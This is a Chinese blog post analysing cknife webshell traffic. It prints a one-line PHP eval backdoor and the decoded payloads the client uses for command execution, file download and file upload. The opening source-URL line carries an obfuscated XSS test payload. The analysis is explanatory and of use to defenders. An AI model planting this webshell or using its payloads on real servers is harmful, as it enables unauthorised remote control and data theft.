本文首發:https://<img src=1 onerror=\u006coc\u0061tion='j\x61v\x61script:\x61lert\x281\x29'>testdemo
0x01 環境
<?php eval($_REQUEST['shell'] ?>
0x02 命令執行
執行命令結果如下圖所示

POST的數據如下圖所示

對POST的數據解碼
#shell
@eval(base64_decode($_POST[action]));
#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
print ($ret!=0)?"ret={$ret}":"";;
echo("|<-");
die();
#z1
cmd
#z2
cd/d"C:\wamp64\www\"&whoami&echo [S]&cd&echo [E]
z2是whoami經過cknife的組合再經過base64編碼后的結果,cknife通過eval執行action中的代碼,把POST的z1和z2用base64_decode解碼,再把z1和z2組合成$r,最后用system執行$r,打印執行結果。
返回結果如下圖所示

經過cknife的格式處理,返回的結果變成了上圖的樣子,->|和|<-中間的內容就是執行命令的結果
0x03 文件下載
POST的數據如下圖所示

對POST的數據解碼
#shell
@eval(base64_decode($_POST[action]));
#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]);
$fp=@fopen($F,"r");
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}else
{
echo("ERROR:// Can Not Read");
};
echo("|<-");
die();
#z1
C:\wamp64\www\index.php
z1是目標文件路徑經過base64編碼后的結果,cknife通過eval執行action中的代碼,用base64_decode獲取文件的路徑,然后判斷文件是否能夠被讀取,如果能夠被讀取,則用readfile()輸出文件的內容,最后將輸出的文件內容寫入到本地文件中。
返回結果如下圖所示

有一點需要注意,cknife可能會將返回的所有內容輸出到文件中,所以需要手動取出->|和|<-之間的內容,否則文件可能格式錯誤
0x04 文件上傳
POST的數據如下圖所示

對POST的數據解碼
#shell
@eval(base64_decode($_POST[action]));
#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
#z1
C:\wamp64\www\test.txt
#z2
this is a test
z1是目標文件路徑經過base64編碼后的結果,z2是本地文件的內容經過hex編碼后的結果,cknife通過eval執行action中的代碼,用base64_decode先獲取目標文件的路徑,然后獲取z2的內容,使用for循環將原來的hex編碼轉換為URL編碼,再用urldecode進行解碼,追加給$buf,for循環結束后$buf就是文件的內容,最后寫入目標文件中,寫入成功返回1,寫入失敗返回0
返回結果如下圖所示

如果->|和|<-之間的內容為1,則代表文件上傳成功
